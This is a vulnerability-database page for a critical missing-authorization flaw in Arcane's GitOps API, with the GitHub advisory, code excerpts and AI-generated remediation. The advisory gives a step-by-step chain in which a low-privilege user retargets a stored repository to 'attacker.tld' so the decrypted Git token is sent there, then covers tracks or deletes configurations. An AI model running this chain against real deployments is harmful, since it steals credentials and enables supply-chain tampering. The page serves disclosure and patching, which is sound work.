Skip to main content

Arcane EUVDEUVD-2026-33373

| CVE-2026-45625 CRITICAL
Missing Authorization (CWE-862)
2026-05-18 https://github.com/getarcaneapp/arcane GHSA-7h26-hg47-p9hx
9.9
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
May 18, 2026 - 14:30 vuln.today
Analysis Generated
May 18, 2026 - 14:30 vuln.today

DescriptionGitHub Advisory

Summary

Arcane's huma-based REST API exposes nine endpoints under /api/customize/git-repositories and /api/git-repositories/sync for managing GitOps source repositories and their stored credentials. Eight of those endpoints (list, create, get, update, delete, test, listBranches, browseFiles) never call the checkAdmin(ctx) helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the admin role. As a result, any logged-in user with the default user role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository's URL to an attacker-controlled host while omitting the token/sshKey fields (which UpdateRepository only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next /test, /branches, or /files call and present it as HTTP Basic auth (or SSH key auth) to the attacker's host - producing a one-step exfiltration of plaintext Git credentials.

Details

Auth bridge does not enforce role

backend/internal/huma/middleware/auth.go:192-254 (NewAuthBridge) validates Bearer JWTs / API keys / agent tokens and stores the user (and an userIsAdmin flag) in the request context, but it never rejects non-admin callers - admin enforcement is intentionally delegated to handlers via helpers.checkAdmin:

go
// backend/internal/huma/handlers/helpers.go:11-12
// checkAdmin checks if the current user is an admin and returns a 403 error if not.
func checkAdmin(ctx context.Context) error { ... }

grep -rn "checkAdmin" confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role "user" (backend/internal/huma/handlers/users.go:222-223):

go
if userModel.Roles == nil {
    userModel.Roles = []string{"user"}
}

Git repository handler is missing the admin gate on 8 of 9 endpoints

backend/internal/huma/handlers/git_repositories.go:117-236 registers nine endpoints. Only SyncRepositories (line 456) calls checkAdmin(ctx). The other handlers - ListRepositories (line 243), CreateRepository (271), GetRepository (301), UpdateRepository (326), DeleteRepository (356), TestRepository (382), ListBranches (407), BrowseFiles (428) - perform no role check whatsoever:

go
// backend/internal/huma/handlers/git_repositories.go:326-336
func (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {
    if h.repoService == nil {
        return nil, huma.Error500InternalServerError("service not available")
    }
    actor := models.User{}
    if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists && currentUser != nil {
        actor = *currentUser
    }
    repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)
    ...

The service layer (backend/internal/services/git_repository_service.go) has no role enforcement either - grep -n "admin" backend/internal/services/git_repository_service.go returns nothing.

Credential-preserving update primitive

UpdateRepository builds a partial update map: the token/ssh_key columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when req.URL != nil:

go
// backend/internal/services/git_repository_service.go:185-219
updates := make(map[string]any)
if req.Name != nil      { updates["name"] = *req.Name }
if req.URL != nil       { updates["url"]  = *req.URL }   // <-- attacker-pivotable
if req.AuthType != nil  { updates["auth_type"] = *req.AuthType }
...
if req.Token != nil {                                      // <-- only rewritten if supplied
    if *req.Token == "" { updates["token"] = "" } else {
        encrypted, err := crypto.Encrypt(*req.Token)
        ...
        updates["token"] = encrypted
    }
}

So PUT /customize/git-repositories/{id} with body {"url":"https://attacker.tld/repo.git"} retargets the repository while preserving the encrypted token.

Sink: Basic-auth send to attacker URL

TestConnection and ListBranches/BrowseFiles decrypt the stored token via GetAuthConfig and pass the chosen URL + auth to gitutil:

go
// backend/internal/services/git_repository_service.go:340-363
func (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {
    authConfig := git.AuthConfig{
        AuthType: repository.AuthType, Username: repository.Username, ...
    }
    if repository.Token != "" {
        token, err := crypto.Decrypt(repository.Token)
        ...
        authConfig.Token = token
    }
    ...
}
go
// backend/pkg/gitutil/git.go:60-69
case "http":
    if config.Token != "" {
        return &githttp.BasicAuth{
            Username: config.Username,
            Password: config.Token,
        }, nil
    }

go-git's HTTP transport sends Authorization: Basic base64(username:token) in the very first reference-discovery request to the (attacker-controlled) URL - so the cleartext PAT lands in the attacker's web-server access log on the first call to /test, /branches, or /files.

Full attack chain (HTTP-token variant)

  1. Attacker authenticates as a normal user (registration or any pre-existing low-priv account).
  2. GET /api/customize/git-repositories enumerates all configured repositories (id, url, authType, username - token/sshKey are encrypted but their *existence* is visible).
  3. PUT /api/customize/git-repositories/{id} with {"url":"https://attacker.tld/repo.git"} retargets the repo while preserving the encrypted PAT.
  4. POST /api/customize/git-repositories/{id}/test (or GET .../branches) makes Arcane decrypt the PAT and send it to attacker.tld as HTTP Basic auth.
  5. Optional cleanup: PUT again to restore the original URL, leaving no obvious config drift; or DELETE every repo for DoS on the GitOps pipeline.

The same primitive works for authType: "ssh" repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default accept_new host-key mode, by the attacker simply observing the SSH session).

Impact

  • Cleartext exfiltration of stored Git credentials. PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org's source repos, CI secrets, container registries, and downstream production systems - escaping Arcane's security boundary entirely (S:C).
  • Privilege escalation to effective Arcane admin over GitOps. Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.
  • Supply-chain integrity loss. A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.
  • Denial of service on the GitOps pipeline. DELETE /customize/git-repositories/{id} lets any user wipe production repository configurations.
  • Information disclosure of private repo contents. GET .../files clones private repos using stored credentials and returns file contents in the API response, regardless of caller role.

Default Arcane installations create new accounts with role user; no special configuration is required for the attack to be reachable.

AnalysisAI

Broken access control in Arcane's GitOps backend (versions <= 1.18.1) allows any authenticated low-privilege user to exfiltrate plaintext Git credentials (PATs/SSH keys) stored for source-of-truth repositories. Eight of nine /api/customize/git-repositories endpoints omit the checkAdmin() gate, letting a 'user' role attacker repoint a repository URL to an attacker-controlled host and trigger a /test or /branches call that transmits the decrypted token via HTTP Basic auth. No public exploit identified at time of analysis, but the GHSA advisory documents a complete attack chain and a patched release (1.19.0) is available.

Technical ContextAI

Arcane is a Go-based GitOps management application (pkg:go/github.com/getarcaneapp/arcane) whose REST layer is built on the huma framework. Its NewAuthBridge middleware (backend/internal/huma/middleware/auth.go) only validates Bearer JWTs, API keys, and agent tokens - role enforcement is intentionally deferred to each handler via a helpers.checkAdmin() call. The GitRepositoryHandler registers nine endpoints, but only SyncRepositories invokes checkAdmin; the other eight (ListRepositories, CreateRepository, GetRepository, UpdateRepository, DeleteRepository, TestRepository, ListBranches, BrowseFiles) perform no role check, and the service layer has no compensating authorization logic. This is a textbook CWE-862 Missing Authorization defect, compounded by a credential-preserving update primitive: UpdateRepository only rewrites token/ssh_key columns when those pointers are non-nil in the request body, while the URL is rewritten unconditionally - letting an attacker pivot the repo target while preserving the encrypted secret, which go-git's HTTP transport then sends as Authorization: Basic base64(username:token) to the attacker's host on the first reference-discovery request.

RemediationAI

Vendor-released patch: upgrade the Arcane backend to version 1.19.0 or later, which adds checkAdmin(ctx) enforcement to the eight previously unprotected git_repositories endpoints (see GHSA-7h26-hg47-p9hx at https://github.com/getarcaneapp/arcane/security/advisories/GHSA-7h26-hg47-p9hx). If immediate upgrade is not possible, restrict access at the ingress layer by blocking or reverse-proxy-authorizing /api/customize/git-repositories/* and /api/git-repositories/sync to admin source IPs only (side effect: legitimate admin tooling that calls these endpoints from elsewhere will break), disable open user self-registration so the 'user' role cannot be obtained by an outside attacker, and audit existing non-admin accounts. Because PATs and SSH keys may already have been exfiltrated by a prior insider, rotate every stored Git credential (GitHub/GitLab PATs and SSH keys) referenced by Arcane, review Git provider audit logs for unexpected reference-discovery calls from Arcane's egress IPs to non-corporate hosts, and re-scan any container images/manifests pulled by Arcane during the exposure window for tampering.

More in Gitlab

View all
CVE-2023-7028 CRITICAL POC
10.0 Jan 12

An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.

CVE-2013-4490 MEDIUM POC
6.5 May 13

The SSH key upload feature (lib/gitlab_keys.rb) in gitlab-shell before 1.7.3, as used in GitLab 5.0 before 5.4.1 and 6.x

CVE-2021-22205 CRITICAL POC
10.0 Apr 23

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. Rated critical severity (CVSS 10

CVE-2022-2992 CRITICAL POC
9.9 Oct 17

A vulnerability in GitLab CE/EE affecting all versions from 11.10 prior to 15.1.6, 15.2 to 15.2.4, 15.3 to 15.3.2 allows

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2024-45409 CRITICAL POC
9.8 Sep 10

The Ruby SAML library is for implementing the client side of a SAML authorization. Rated critical severity (CVSS 9.8), t

CVE-2022-1162 CRITICAL POC
9.8 Apr 04

A hardcoded password was set for accounts registered using an OmniAuth provider (e.g. Rated critical severity (CVSS 9.8)

CVE-2022-0735 CRITICAL POC
9.8 Mar 28

An issue has been discovered in GitLab CE/EE affecting all versions starting from 12.10 before 14.6.5, all versions star

CVE-2021-22175 CRITICAL POC
9.8 Jun 11

When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab af

CVE-2021-22203 CRITICAL POC
9.8 Apr 02

An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.7.9 before 13.8.7, all versions sta

CVE-2019-15741 CRITICAL POC
9.8 Sep 16

An issue was discovered in GitLab Omnibus 7.4 through 12.2.1. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2019-6960 CRITICAL POC
9.8 Sep 09

An issue was discovered in GitLab Community and Enterprise Edition 9.x, 10.x, and 11.x before 11.5.8, 11.6.x before 11.6

Share

EUVD-2026-33373 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy